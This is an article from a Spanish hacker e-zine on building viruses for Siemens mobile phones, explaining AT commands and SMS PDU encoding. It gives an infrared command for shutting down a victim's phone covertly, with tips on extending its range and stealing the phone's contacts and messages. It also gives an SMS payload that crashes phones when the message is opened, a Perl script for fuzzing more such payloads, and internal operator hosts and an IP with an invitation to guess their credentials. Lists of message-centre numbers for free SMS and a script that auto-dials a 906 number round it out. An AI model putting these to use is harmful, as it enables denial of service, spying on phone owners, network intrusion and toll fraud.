SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

SET 27

77730 visitas

VIR-MOV

      5221

Autor: FCA00000
-[ 0x05 ]-------------------------------------------------------------------
-[ Virus en telefonos moviles ]---------------------------------------------
-[ FCA00000 ]-------------------------------------------------------SET-27--


NOTAS INICIALES
Este articulo ha sido escrito con la mejor de las intenciones de ensenyanza.
Si alguien usa esta informacion para propositos malvados o ilegales
yo no lo puedo controlar, asi que no puedo ser responsable.
Todo derecho genera una obligacion, y a la inversa. Tienes derecho a usar
esta informacion, pero adquieres la obligacion de usarla correctamente.
Yo tengo la obligacion de incluir estas lineas si quiero usar el derecho
de evitar cualquier problema.

INTRODUCCION

Desde el tiempo en que se inventaron los primeros telefonos moviles hasta
ahora las prestaciones de estos aparatos han mejorado considerablemente.
De las pantallas de 2 lineas en modo texto se ha evolucionado hasta displays
graficos, sonido de calidad MP3, programacion con WAP, redes GPRS, conexion
por infrarrojos, y muchos mas inventos que seguro llegaran.

Y la comunidad de interesados en estos temas (tambien llamados hackers) he
ido centrando su atencion en estos dispositivos.

En primer lugar de la escala estan los usuarios que se limitan a usar los
moviles para llamar, como debe ser. Luego estan los que intentan sacarle
un poco mas de provecho, comunmente aprovechando la posibilidad de conectarlo
a un ordenador para utilizarlo como modem, carga de juegos, o sincronizacion
de la libreta de direcciones.
Por ultimo estan los que, movidos por otras inquietudes, desean aprender mas.

Si tu estas entre estos ultimos, este articulo puede servirte de inicio, darte
algunas ideas, o, quien sabe, proporcionarte todo lo que quieres saber.
El objetivo que me marco es averiguar la posibilidad de desarrollar un 
virus que funcione en un movil.

A lo largo del texto se ha intentado usar la palabra correcta 'movil' en lugar
del termino incorrecto 'mobil'.
Si alguna vez se me ha escapado, pido disculpas.

PRIMEROS PASOS
Material: un ordenador, un movil, una conexion entre ambos.
Para mis pruebas he usado un Siemens S45, que es un buen telefono y que
incluye un buen manual con un monton de instrucciones tecnicas.
Puedes ver sus especificaciones en
www.my-siemens.com
El manual se llama GPRS_AT_CommandSet.pdf
Dado que su fabricante es aleman, no es sorprendente que el mercado al que
esta dirigido esta centrado en Alemania, y mucha documentacion esta en este
idioma. Ademas, parte de las aplicaciones han sido desarrolladas por autores
centroeuropeos, por lo que estan tambien en aleman.

Yo lo he conectado con un ordenador potratil a traves del cable serie que trae
incluido. Tambien se puede conectar por infrarrojos, pero la conexion es mas
lenta. Mediante el cable se consiguen velocidades de 115200 bps, pero el
movil esta configurado inicialmente para 57600 bps.

Arrancando el Hyperteminal de Windows o cualquier otro emulador de
terminal, ya empezamos con los primeros comandos:
( cuando indico '>' es algo que yo tecleo, mientras que '<' es la respuesta)
> AT
< OK
perfecto, la conexion con el movil funciona
> AT+CGMI
< SIEMENS
> AT+CGMM
< S45

Este movil tiene el Sistema Operativo en Firmware que es actualizable.
Veamos cual version estoy usando:
> AT+CGMR
< 21
Originariamente el telefono tenia la 17, pero habia un bug, asi que tuve que
instalar otra version. A estas alturas deben ir ya por la version 23
> AT+GMM
< Gipsy Soft Protocolstack

Tambien podemos obtener El ID de la tarjeta (AT+SCID), el famoso IMEI (AT+CGSN)
que es el numero de serie, el IMSI (AT+CIMI), pero estos numeros son
exclusivos para mi telefono, asi que no os los voy a mostrar.

Por cierto, veamos que hora es:
> AT+CCLK?
< +CCLK: "03/02/26,12:46:18"
Solo le falta decir que, ademas, es domingo


Comandos AT
Como habeis podido comprobar, la manera de comunicarse con un movil es, al
igual que con un modem, con comandos AT
Existen de varios tipos:
-basico AT compatible Hayes
 comandos que funcionan con cualquier modem: ATDPxxx, ATH, ATI, ...
-GSM 07.07
 comandos definidos por la ETSI GSM 07.07, por ejemplo AT+CCLK, AT+CEER
  Se agrupan en:
  -Control del movil
  -Servicio de red
  -Comando de modem
  -Control de llamada
  -GPRS
  -General
  -TIA IS101
  -Mensajes
-comandos de la ITU-R V.25
 La mayoria estan orientados a la transmision de tipo FAX
-especificos de Siemens
 Extienden la funcionalidad de los tipos definidos anteriormente, o bien
 hacen cosas para las que no hay estandar definido. Suelen ser AT^xxx en
 vez de AT+yyy . Por ejemplo, AT^SMSO apaga el movil

Ademas, segun las normas GSM, los comandos AT+Cxxx tienen varias formas:
AT+Cxxx=?    devuelve los parametros que acepta este comando
AT+Cxxx?     muestra el resultado del comando
AT+Cxxx=...  escribe los parametros
AT+Cxxx      ejecuta el comando, segun los parametros establecidos


Y, aunque parezca que no tenemos mucho donde trabajar, ya podemos crear
algo que se parezca a un virus.
Como he indicado, este movil tiene un puerto de infrarrojos. Por defecto
no esta activado porque gasta mas bateria, pero he observado que tal como
los vende configurados el operador de telefonia AMENA, esta activado.
Asi que conseguimos un ordenador portatil; apuntamos el puerto infrarrojos
hacia el movil de la victima, arrancamos el hiperterminal y usamos la
conexion al puerto de infrarrojos. Si todo ha ido bien, al teclear
AT
obtendremos la respuesta
OK
y haciendo
AT^SMSO
le apagamos el movil. Hala, uno menos.
Posibles mejoras a este metodo incluyen:
-En vez de usar un portatil, hacerlo con otro dispositivo, tal como
 un 'wearable-computer' o un PDA que tenga emulacion de modem sobre
 el puerto infrarrojos. Es mas discreto.
-Esconder el ordenador, sacar el lector/emisor de infrarrojos de la
 carcasa y disimularlo en el reloj o la corbata. De pelicula.
-Hacer un lector/emisor de infrarrojos mas potente. De todos es sabido
 que el alcance del puerto integrado en un ordenador no es muy lejos,
 pero hay disenios que permiten emitir hasta 15 metros! Imaginate ponerse
 en la terraza de un bar e ir apagando los moviles que se pongan a
 tu alcance. Busca por Internet.
-Apagar el movil es util para que no te molesten, pero tambien se puede
 obtener la lista de telefonos a los que ha llamado, libreta de
 direcciones, mensajes recibidos, tareas pendientes... ideal para un espia.
-Aun mas util puede ser obtener su IMEI para luego intentar mas cosas.

MENSAJES
Un SMS es un medio para transferir mensajes cortos entre una estacion
movil (MS) y una entidad de mensajes cortos (SME) a traves de un
centro de servicio (SC). El centro de servicio actua como enlace y
distribuidor entre en MS y el SME.
Existen 2 tipo de servicios:
- SM MO = Mensaje corto originado en el movil
- SM MT = Mensaje corto terminado en el movil

La manera de mandarlos es, por supuesto, con comandos AT :
> AT+CMGL=1
< +CMGL: 2,1,,148
< 07914....
< +CMGL: 3,1,,63
< 07914306090909F9040...

?Pero que es esto? ?Donde estan mis mensajes?
Vamos por partes.
> AT+CMGL=?
< +CMGL: (0-4)
o sea, que el comando CMGL admite valores 0-4
segun quieras leer los mensajes
 0 = recibidos sin leer
 1 = leidos
 2 = almacenados
 3 = enviados
 4 = todos

Asi que con AT+CMGL=1 leemos los mensajes recibidos y que ya hemos leido.
Para verlos todos, hacer AT+CMGL a lo que responde con varias lineas:
+CMGL: 2,1,,148
O sea, que el mensaje 2 tiene estatus 1 (recibido y leido) , que el emisor
esta en blanco, y que la longitud es 148 bytes
La siguiente linea esta formada por un monton de caracteres 0-9A-F, que
miden 148 bytes, pero parece que estan codificados.


Modo PDU
Los mensajes se guardan en la memoria del movil, o bien en la tarjeta SIM que
lleva incluida. Estos mensajes usan una codificacion que no es la misma que
usa un PC, por lo que pueden contener codigos no mostrables en un ordenador.
Activando el modo PDU con
El comando
> AT+CMGF=?
< +CMGF: (0)
Nos indica que este movil solo soporta PDU=0, es decir, que todos los
mensajes usan esta codificacion, por lo que para que puedan ser entendidos por
un humano, necesitan ser descodificados.
En otros moviles, haciendo AT+CMGF=1 ya se pueden listar correctamente los
mensajes, pero los caracteres no siempre salen bien, por ejemplo los acentos.
Por eso el PDU=0 es lo mejor.
Con AT+CSCS="UCS2" se especifica el conjunto de caracteres UCS2 que se usaran
en el cuerpo del mensaje. Por defecto es "GSM", y en otros moviles, tambien
se puede usar "HEX".

Hay 2 tipos de mensajes PDU :
	SMS-SUBMIT tiene el movil como destino
	SMS-DELIVER tiene el movil como origen
ambos constan de los siguientes datos:
Elemen	Campo	Referencia		Representacion	Descripcion
SCA		Centro de servicio	1-12 octetos	Direccion del SC
SCA	length	Longitud de direccion	1 octeto (entero) Longitud, en bytes
SCA	tosca	Tipo de SCA		1 octeto	tipo de numero de telef.
SCA	address	campo SCA		2-10 octetos	direccion de origen-fin
FO		primer octeto		1 octeto	primero octeto SMS-PDU
FO	MTI	indicador tipo mensaje	2 bits		tipo de mensaje
FO	RD	rechaza duplicados	1 bit		rechaza SMS con dupl. DA
FO	MMS	mas SMS por mandar	1 bit		indica si quedan SMS
FO	VPF	contiene validez	2 bits		campo validez presente?
FO	RP	contiene retorno	1 bit		camino retorno presente?
FO	UDHI	cabecera usuario?	1 bit		cabecera presente?
FO	SRR	peticion status		1 bit		solicita status envio-MS
FO	SRI	peticion status?	1 bit		solicita status envio-SME
MR		referencia mensaje	1 octeto	numero de referencia
OA		direccion origen	2-12 octetos	direccion origen SMS
OA	length	longitud del OA		1 octeto	numero de digitos en OA
OA	toda	tipo de OA		1 octeto	tipo de numero
DA		direccion destino	2-12 octetos	direccion del SME
DA	length	longitud del DA		1 octeto	numero de digitos en DA
DA	toda	tipo de DA		1 octeto	tipo de numero
PID		identificador protocolo	1 octeto	protocolo superior
DCS		esquema de codif.datos	1 octeto	esquema usado en UD
SCTS		hora en SMSC		7 octetos	cuando se recibe mensaje?
UDL		longitud UD		1 octeto	longitud del mensaje
UD	UDH	cabecera (con UDHI)	0-140 octetos	datos
UD		datos de usuario	0-140 octetos	datos (0-160 caracteres)

Un SMS-DELIVER (mensaje recibido) tiene SCA FO OA PID DCS SCTS UDL UD
Un SMS-SUBMIT-PDU (mensaje a enviar) tiene SCA FO MR DA PID DCS VP UDL UD

En la pagina www.nobi.com/sms_pdu.htm se explica muy bien lo que es el PDU, asi
que yo solo comentare que para mensajes enviados hay una cabecera con
el emisor, numero del centro de servicio, tipo de codificacion, bits usados
por cada dato, la validez, y algo mas que revisaremos luego.
Para mensajes recibidos la informacion consiste en centro de mensajes, tipo
de mensaje, camino de vuelta, emisor, protocolo usado, clase de
mensaje, alfabeto usado, fecha de envio, y cuerpo del mensaje.

Entre los campos a destacar, MTI se forma con 2 bits:
0 0 SMS-DELIVER , cuando va SC->MS
0 0 SMS-DELIVER REPORT cuando va MS->SC
1 0 SMS-STATUS-REPORT cuando va SC->MS
1 0 SMS-COMMAND cuando va MS->SC
0 1 SMS-SUBMIT , cuando va MS->SC
0 1 SMS-SUBMIT-REPORT cuando va SC->MS
1 1 Reservado

Luego viene el mensaje que, si la codificacion es de 7 bits por dato, resulta
muy graciosa de entender, pues consiste en partir los datos (de 7 bits) en
bits, y agruparlos de 8 en 8. Pero no como uno puede esperar, sino por bloques
de 7-n . Lo mejor es que consultes la pagina mencionada o las
recomendaciones GSM 03.38

Los mensajes que se envian tienen solo la mitad de esta informacion. Por
ejemplo, el numero del telefono que envia el mensaje no se manda, sino que
es la operadora de telefonia la que lo agrega.
Los datos que se mandan son: numero secuencial, numero del receptor, esquema
de codificacion de datos, validez, y mensaje.

Y ahora viene el primer briconsejo. Una de las cosas que un virus tiene que
hacer es enmascarase a si mismo. Por eso lo mejor es usar uno de los multiples
programas y paginas web que han dispuesto las operadoras de telefonia para
poder mandar mensajes sin usar un movil. No tienen toda la funcionalidad
disponible en el movil (mandar graficos, por ejemplo), pero
puede ser suficiente.

Hay en la cabecera un dato llamado TP-DCS que es muy interesante.
Si la codificacion es de 7 bits, solo se pueden enviar 128 caracteres que
quedes consultar en www.dreamfabric.com/sms/default_alphabet.html
Es necesario hacer notar que la codificacion no coincide con la ISO-8859-1
por lo que los caracteres usan codigos distintos para los SMS y para un
ordenador.
Por ejemplo, en un movil el caracter '@' tiene el codigo 0x00, mientras que
en lenguage C, el caracter 0x00 indica fin de linea, y en ASCII 0x00 significa
null.
Tambien se usan secuencias de escape, usando el caracter 27d = 0x1B
Por ejemplo, el caracter '[' se codifica como ESC+60 , es decir, 0x1B3C.
Al parecer, solo hay implementadas 10 codigos que usen secuencias de escape,
pero intentaremos jugar con ellas, pues pueden ser un terreno adecuado para
el envio de mensajes maliciosos, lo cual constituye un primer paso para la
creacion de un virus.
Para ello, contamos con un magnifico programa llamado PDUSpy que permite leer
exactamente la informacion contenida en un mensaje, y tambien componer mensajes
con muchas opciones, y ver la secuencia de datos que lo componen.
Vamos con un mensaje simple. Usando texto de 7 bits, el mensaje '[@@@' se
compone de los caracteres 0x1B3C, 0x00, 0x00 y 0x00. 
Para codificarlo, recordar que solo se usan 7 bits por caracter:
1B = 0011011
3C = 0111100
usando 7 bits, 1B3C = 00110110111100
partiendolo en trozos de 8 bits a la manera PDU, resulta 0011011 0011110, es
decir, 1B 1E
Y da lugar a un mensaje que ocupa 05 caracteres.
Uniendolo a la cabecera, da lugar a
00 01 00 00 81 00 00 05 1B 1E 00 00 00
Creo que esta claro, no?

TEXTO DEL SMS
Vamos a jugar un poco.
Si ponemos la secuencia 1B00 , el movil muestra el mensaje '@', es decir, que
al no ser una secuencia de escape adecuada, se olvida del 1B
Como 1B es simplemente un enlace a otra tabla, vemos que en la tabla secundaria
tambien se puede usar 1B para enlazar con otra tercera tabla, asi que probamos
a poner 2 veces el caracter ESCAPE, es decir, "[[@@@" con el mensaje
00 01 00 00 81 00 00 05 9B 0D 00 00 00
al verlo en el movil, el mensaje se ha convertido en " @" , o sea, que ha
puesto un espacio en lugar de los dos ESCAPEs.

Esta manera de mandar mensajes con 7 bits es un poco complicada, asi que
a partir de ahora usamos codigos de 8 bits, a ver que pasa
El mensaje con este texto hexadecimal:
414243444546
se ve en el telefono como "ABCDEF" , como debe ser segun el documento GSM 03.38

El mensaje
000102030405060708090a0b0c0d0e0f
resulta ser "@L$Yeeuioc"
(NOTA.- para cumplir con los requerimientos de texto ASCII de esta
publicacion, se han intentado usar caracteres puros ASCII. En realidad
las vocales del mensaje
contienen acentos, la 'L' es el simbolo de Libra inglesa, ...)
El mensaje
101112131415161718

es "ABCDEFGHI" con caracteres griegos
Algo muy interesante es que el movil cuando muestra la lista de todos los
mensajes solo ensenia los primeros caracteres. Cuando se ve todo el texto
de este mensaje, resulta que los caracteres !han desaparecido! . Y cuando
elegimos editar el mensaje, han sido sustituidas todas las letras griegas
por el caracter '.' lo cua indica que puede mostrarlas en la lista, pero
no en el mensaje completo.
O sea, que no siempre muestra las mismas letras cuando saca la lista, cuando
muestra el mensaje, y cuando se edita. Algo no funciona coherentemente
en este telefono!
El mensaje 5a6a7a se muestra como "Zjz", como debe ser. Al parecer solo
los caracteres puramente ASCII funcionan correctamente.
Otra prueba sorprendente: el mensaje 404142 se ve en la lista como "!AB" pero
al verlo completo se ha convertido en "@AB" , y al editarlo tambien es "@AB" 
Hmmm, eso quiere decir que el movil de alguna manera procesa los mensajes
cuando los visualiza, pero no cuando los muestra en la lista. El concepto
es parecido al del bug de interpretacion de argumentos que se realiza en
un ordenador, por ejemplo al usar en
lenguaje C la funcion  printf  con parametro %s . Vamos a investigar mas.

Especificamos alfabeto de 16 bits UCS2 que se supone que admite ISO-10646
Mandamos el mensaje 0068006F006C0061 y aparece "hola" . Todo perfecto.
Mandamos e0fe y aparecce el dibujo de una flecha.
Mandamos e0e0 y aparece en la lista la cara de un pato! Yo sabia que el
movil admitia dibujitos, pero esto es demasiado.
No solo eso, sino que al ver el mensaje aparece
la cara completa - antes aparecia cortada.
Y lo mas sorprendente es que al editar el mensaje !se apaga el movil!

El mensaje  ee72ee8a  se muestra en la lista como "." y cuando vamos a
verlo, apaga el movil. Parece que hemos encontrado un modo de
provocar un DoS. Solo hay que mandar
este mensaje, y cuando el receptor lo vaya a ver, se le apagara el telefono.
Interpretando los parametros del mensaje encontramos que 
USER DATA PART OF SM
	USER DATA LENGTH :	4 octets, 2 UCS2 chars
	USER DATA (TEXT) :	<Private Use>
				EE 72 EE 8A
Al parecer, eso de "Private Use" es debido a que no se usa ningun
afabeto conocido, y el movil intenta mostrar un caracter que no
tiene en su tabla, y provoca que busque un dato mas alla de
la memoria disponible. Un tipico "System fault - core dumped"

Por supuesto que puede borrarlo de la lista de mensajes. Asi que vamos a
intentar que cuando se muestre la lista, tambien se apague.

Vamos con una lista de mensajes, y su resultado:
E435 aparece el simbolo de nota musical, pero solo cuando se pone el 
     cursor sobre el mensaje en la lista
EE14E405 aparece el simbolo de un libro, y suena una pitido al verlo
E0E0 cara de un pato
E0A0 dibujo de una bomba
77E6EE65 reset al ver el mensaje
EE0C0349 suena un pitido
E008 texto en negrita
E0f6 dibujo de un reloj grande que ocupa todo el display
EA00 hace que se limpie la pantalla
E405EA00E406 primero un dibujo de un libro+telefono y 2 segundos despues
       el dibujo de un pato+telefono
	Ciertamente este movil tiene caracteristicas sorprendentes.
EE13E405EE13E406   suena 2 veces la musica, con borrado en medio
E435	nota musical, pero solo cuando se marca el mensaje en la lista

Parece evidente que los mensajes con los caracteres Exyz son interpretados
de algun modo por el telefono. La documentacion del UCS2 dice que estos
caracteres no estan definidos en ningun conjunto, y son de 'Private Use',
razon por la cual SIEMENS los ha elegido para si misma.

Este es el punto donde entramos realmente en caracteristicas del movil.
Mensajes conteniendo estos codigos no seran reconocidos por ningun otro
fabricante, y posiblemente, tampoco funcionen en otros modelos. Incluso
es posible que no funcionen en otras versiones del software.

PRIMER INTENTO
Siguiendo con la investigacion, una de las posibilidades para encontrar
todos los caracteres es destripar la memoria del movil. Para ello hace
falta un programa y un cable especial para volcar el firmware a un
archivo de texto.
El primer paso es encontrar el programa SM45Tools.exe y ejecutarlo.
Para que funcione se necesita conectar el movil con un cable especial.
El que viene incluido con el movil no vale para esto, pero simplemente
hay que coger el cable de alimentacion y el de datos, unir las patillas
1 y 3 de ambos conectores, y ya esta.
Luego hay que apagar el movil y pulsar brevemente la tecla de encendido.
Estas instrucciones las he encontrado en Internet, y es posible que para
otros modelos tambien funcione.
Una vez que se tiene el volcado de la memoria hay que intentar averigua
lo que significa. Lamentablemente yo no he conseguido averiguar
nada en ese monton de bytes.
Quizas sea tambien posible desensamblar el codigo, pero no tengo suficiente
informacion para ello.

SEGUNDO INTENTO
Otra posibilidad es que alguien de Siemens me proporcione esa informacion.
Seguro que alguien ya esta pensando en hackear su website, entrar en su
oficinas por la noche, o usar ingenieria social.
Pero es bueno ir despacio. Se empieza por escribir a info@siemens.de , y 
tras muchos mensajes inutiles, acabas contactando con alguien que te da
unas cuantas ideas o exactamente lo que quieres.
Mi agradecimiento total a Thierry Schuch del departamento de desarrollo 
de software de servicio de datos para dispositivos moviles
dentro de Siemens AG, calle Grillparzerstrasse 12a D-81675 Munich
que , aunque me hizo firmar un documento diciendo que no haria publica
esa informacion y me obligo a incluir todo este parrafo, al final
me dijo todo lo que yo queria saber.

Asi que la respuesta es SI. Hay un mensaje (muchos, en realidad) que 
contienen caracteres especiales que no
han sido verificados correctamente y al aparecer en la lista de mensajes
hacen que el telefono no calcule correctamente la longitud, y se apaga.
Por supuesto, no voy a decir aqui cual es la secuencia correcta. Si lo
hiciera te estaria convirtiendo en un script-kiddie, y los lectores
de esta publicacion no lo son, cierto?

Seguramente en la siguiente version del software estos caracteres
esten ya arreglados.

A proposito de esto tengo que mencionar que si se intenta enviar un
mensaje con el caracter '%' el movil se apaga, y cuando se enciende
otra vez, apenas dura encendido 2 minutos. La solucion es borrar
el mensaje de la memoria, usando otro movil.
Esto es muy raro, ya que la propia documentacion de Siemens menciona
que mensajes como %Kiss manda el dibujo de un beso: y %House manda
el dibujo de una casa, y otros mas. De hecho cuando mando un mensaje
conteniendo estos codigos, llegan a mi Siemens correctamente pero
no aparece ningun dibujo.

TERCER INTENTO
Una tercera manera de intentar encontrar un mensaje maligno es crear
un programa que genere todos las posibles letras (16*16*16*16) y
mandar esos mensajes. Solo hay que grabarlos con el comando AT+CMGW
y luego visualizarlos.
Aqui el paso critico es que hay que visualizar los mensajes cuando estan
en la lista; ya sabemos que al desplegar uno de ellos es posible apagar
el telefono, pero la gracia esta en hacer que se apague solo con verlo
en la lista. Tambien es posible que por el simple hecho de guardar
el mensaje en la memoria del movil se forzase un apagado. Los mensajes
que no he probado nunca han hecho esto, pero no descarto que en algun
otro modelo suceda. El equivalente seria que un ordenador se colgara
simplemente por existir un fichero con unos datos especiales. Puede ser.
Ya sabemos que al intentar mandar mensaje con '%' se cuelga, aunque
se pueden guadar sin problemas.

Ya hemos visto antes que (posiblemente) el primer caracter sea 'E'
asi que solo hay que crear 4096 mensajes. El comando AT+CMGD permite
borrar los mensajes que no hacen fallar el telefono.
Para los que programen en Perl, aqui va un ejemplo

use Device::SerialPort;

my $ob = Device::SerialPort->start( 'serial.cfg' );

$ob->are_match("OK", "ERROR", ">");
$ob->write( "AT+CPMS=SM\r" );
waitfor(5);
$ob->write( "AT+CMGD=1\r" );
waitfor(5);
$ob->write( "AT+CMGW=28\r" );
waitfor(5);
$ob->write( "000100008100182400550048004500200042006900E000E000E000E0\cz" );
waitfor(5);

Explicacion paso a paso:
se abre el puerto serie, se selecciona la memoria del movil (no la del SIM ni
la del terminal), se borra el mensaje que ocupe la posicion 1 , se selecciona
para escribir en la primera posicion libre, y se mandan los bytes que
componen el mensaje.
Quizas sea bueno mandar AT+CMGF=0 para decir que los datos van en
hexadecimal, pero en mi modelo no es necesario.

Esto escribe un mensaje con varios UCS2 caracteres: E000
Haz que 000 se convierta en xyz , donde x=0-9A-F, y=0-9A-F, z=0-9A-F, y
ya tienes hecho el programa.


CLASS 0
Aquellos que han conseguido leerse la documentacion del GSM 08.03  en el
capitulo 4 se habran dado cuenta de que hay algo
llamado DCS=Data-Coding-Scheme o "Clase del mensaje", y puede valer:
00 (7bits) o 04 (8bits)	-> sin clase definida
F0 (7bits) o F4 (8bits)	-> 0 = Inmediato
F1 (7bits) o F5 (8bits)	-> 1 = Especifico del Mobile Equipment
F2 (7bits) o F6 (8bits)	-> 2 = Especifico del SIM
F3 (7bits) o F7 (8bits)	-> 3 = Especifico de Terminal Equipment

En clase 1 y 3 el mensaje corto se guarda en el SIM y el TE.
Si se usa clase 2 el mensaje se guarda en la tarjeta SIM y no se envia
directamente al terminal.
Los mensajes enviados con clase 0 se envian directamente al display del
movil, y no se guardan en el telefono ni en la tarjeta SIM.
En otras palabras, cuando se recibe un mensaje con clase 0 , este aparecera
inmediatamente en la pantalla del movil. Este funcionamiento depende del
modelo de movil, pero tanto los Siemens como Nokia como Mitsubishi
muestran el mensaje.
Si el telefono esta con el salvapantallas activo, el cuerpo del
mensaje tambien aparece en el movil. O sea, siempre se muestra, y el
usuario no puede evitar verlo.
Este metodo es el usado por Movistar para enviar el saldo.
Nosotros lo vamos a usar para enviar un mensaje que provoque una reaccion
en el movil; algo parecido a enviar un archivo auto-ejecutable.
Como he comentado antes, el mensaje  EE72EE8A  provoca que el movil se
apague, pero solo cuando se visualiza el texto, no cuando aparece en la lista.
De hecho, al enviarlo con clase 0 lo unico que aparece es "H.", donde 'H' es
un dibujo de un libro, indicando clase 0, y '.' es justamente lo que aparece
en la lista del mensajes para este mensaje. Asi que si conseguimos que
se apague simplemente mostrando la lista, lo habremos conseguido.
Esto es lo que se puede hacer en los telefonos Siemens 3568i con el programa
smsdos V1.0  que se encuentra en http:\\www.benjurry.org , pero a mi no
me funciona.

En el modelo Siemens S35 con software v.14 los mensajes de clase 0 hacen
que el movil no responda a las teclas, con lo que ni siquiera se puede
apagar. La unica solucion es quitar la bateria, forzando un apagado
totalment violento. Eso si, el mensaje desaparece.

SMSC
Por supuesto, para que la magia de los SMS funcione es necesario que hay
un centro que reciba los mensajes y los encamine a su destinatario. Sin meterme
en los detalles de localizacion fisica del movil, comento que en Centro de
Servicio de Mensajes Cortos se llama SMSC, por sus siglas en ingles.
Cada operador telefonico tiene, al menos, un SMSC, aunque algunos tienen
varios para distribuir mejor el trafico. Es mas, algun
operador bastante conocido no tiene ninguno, sino que usa el de otra compania.
AMENA usa +34656000821
Telefonica usa +34609090909 , +34609090885, +34609090965, y cuando se envia
mediante Internet usa  +34609090890 ; cuando se mandan internamente +34609093900
Orange en Dinamarca usa +4526265151
Operadores en Alemania:Viag Interkom +491760000400 hasta +491760000499, y
tambien +491710760000, +491722270000, +41794999000 y +41787777070.
A1-Mobilkom +436640501, A3-Max.Mobil +43676021, D1-Telekom +491710760000
D2-Privat +491722270333
Estos numeros a lo mejor no son los habituales que suelen elegir los
usuarios, pero hay muchas maneras de averiguar numeros alternativos.

Por eso es posible cambiar el numero de SMSC para elegir otro. Esto se hace
con el comando
AT+CSMS
Incluso Telenor, en Noruega, esconde su numero de SMSC, quizas para que la
gente llame siempre al numero que ellos indican.

Ya que estamos, comento que aquellos afortunados que trabajan en una operadora
y tienen acceso a la red interna, pueden intentar localizar el servidor que
contiene el software para conectarse al SMSC. Es posible que contenga algun
interface para mandar mensajes internamente.

Solo por mencionar algunos ejemplos, en la operadora Alemana O2 , si consigues
acceso de escritura a la base de datos VDC01_O del ordenador DEAPVI06 solo
tienes que crear un registro en el esquema VDC3KCT, tabla PDNOTIF
Tambien existe un interface a traves de EJB, con protocolo t3 (Weblogic) en la
direccion IP 10.120.60.97 puerto 7001 llamando al bean
dev.viag.apps.EjbClientWrapper al metodo clientSendNotif()
Ahora es tarea tuya adivinar la clave y parametros de llamada :-)
De aqui la importancia de un buen scanner de direcciones y protocolos.
Si todo esto te ha sonado a chino, bueno, no te preocupes.

Posiblemente a ti, lector, te parece una imposible o inutil mandar mensajes
gratis, pero para escribir este articulo yo he tenido que mandar
aproximadamente unos 150 mensajes a mi movil, y no era cuestion de
pagar 15 centimos por cada uno, si se puede hacer sin gastos extra.

Esta es una lista de SMSC. Algunos de ellos permiten mandar mensajes sin coste:
(lista obtenida de http://mario374.tripod.com/mariosnokiapage/id3.html )
+34607003110, 12, 13
+34607003140
+34607003160
+34607003190
+34607003320
+34607133000
+34609090402
+34609090413
+34609090800 hasta 19
+34609090840
+34609090870 hasta 79
+34609090885
+34609090890
+34609090907
+34609090909
+34609090998
+34609090999
+34609093401
+34609093402
+34609093411
+34609093412
+34609093900 hasta 9
+34609909909
+34656000311
+34656000811

OBEX
Otro metodo de acceso a los datos movil es mediante el protocolo OBEX.
Siguiento el modelo de capas OSI, sobre un soporte fisico (cable, infrarrojos)
se establece una capa de mas alto nivel para intercambio de ficheros. Algo
parecido a la transferencia FTP.
Es posible meter ficheros en el telefono, leerlos, renombrarlos y borrarlos.
Todo esto desde un ordenador.
Hay muy buenas librerias para Linux, y, aunque podrian intentarse exploits
centrados en el protocolo, tambien parece posible intentarlo en los datos
que se mandan para hacer un buffer overflow. Hmm, suena interesante.

Tambien es posible hacer algunas de estas operaciones desde otro movil, pero
el movil de la victima debe estar en modo 'recepcion de ficheros', que es
una accion manual, y no parece muy normal que el usuario este dispuesto a
recibir nuestro virus voluntariamente.

Sobre protocolo OBEX se encuentra mucha documentacion, asi que no voy
a contar nada (quizas en otro articulo)

WML
Mi movil, los Nokia, y espero que todos los que salgan a partir de ahora
tienen incorporado un mini-navegador que permite ver paginas en Internet.
Tiene varias peculiaridades. Entre ellas, que no soporta paginas HTML sino
WML, que se parece a HTML pero mucho mas sencillo. Por ejemplo, se
permiten graficos, tablas y letras grandes y pequenias, pero no frames
ni cambios de tipo de letras. Las tablas tienen formato muy limitado, y no se
pueden incrustar paginas dentro de otras paginas.
En lugar de JavaScript soporta WMLScript, que permite interactuar con los
elementos que se ven en la pantalla. Tiene manipulacion de numeros, palabras
y objetos de pantalla, asi como navegacion entre paginas.
Todo ello usando las librerias Lang, Float, String, URL, WMLBrowser y Dialogs.
Esta pensado para tener un servidor en Internet conectado con una central
telefonica.
El movil llama por CSD (llamada telefonica analogica) y se
establece una conexion con protocolo WAP.
Tambien se puede llamar por GPRS con lo cual es movil es un nuevo nodo de
la red Internet, con su propia IP.
En ambos casos, el servidor manda paginas WML que se procesan en el telefono.
Una de las limitaciones es que los ficheros no pueden ser demasiado grandes.
El los terminales Nokia el limite son 7Kb, y en el Siemens S45 es 1400 bytes
lo cual no parece mucho, pero tampoco es cuestion de mandar paginas
enormes, porque el display es bastante pequenio.
Las paginas WML se guardan en la cache del telefono, pero el contenido de
las variables se pierde cuando se acaba la conexion.
Otros de los limites es la cantidad de variables que se pueden crear: 80
Y el mayor limite es que la carga de ficheros graficos y WMLScript es muy
lenta, con lo que este protocolo es apropiado para tareas ligeras
y con poco proceso

WTAI
Wireless Telephony Application Interface es una ampliacion del
protocolo WAP para crear aplicaciones de telefonia.
En la practica esto supone unas librerias que pueden -o no- estar
disponibles en el telefono cuando se usa WML/WMLScript
Se agrupan en
-Librerias publicas : WTAPublic . (Obligatoria si se quiere certificacion WTAI)
-Librerias de red:                (No es obligatoria. Depende del fabricante)
	- Control de llamadas de voz: WTAVoiceCall
	- Texto de red: WTANetText
	- Libro de direcciones: WTAPhoneBook
	- Registro de llamadas: WTACallLog
	- Otras: WTAMisc

La manera de acceder es parecida al tipico formato URL:
wtai://libreria/funcion;parametros!resultado
O desde WMLS:
var resultado = libreria.funcion("parametros");

Por ejemplo, para saber cual es la duracion de la ultima llamada hacemos

var duracion = WTACallLog.getFieldValue(handle, "duration");

Y todo esto desde un programa en WMLScript !
O sea, que se puede hacer algo asi como
--------- begin prg1.wml  --------------
<?xml version="1.0" encoding="Shift_JIS"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.2//EN"
"http://www.wapforum.org/DTD/wml _1.2.xml">
<wml>
<card>
<input name="Nmbr" value="Numero"/>
<do type="accept" label="Llamar">
<go href="prg1.llama(0)"/>
</do>
</card>
--------- end prg1.wml  --------------

--------- begin prg1.wmls  --------------
extern function llama(x) {
var flag = WTAPublic.makeCall("906090909");
}
--------- end prg1.wmls  --------------

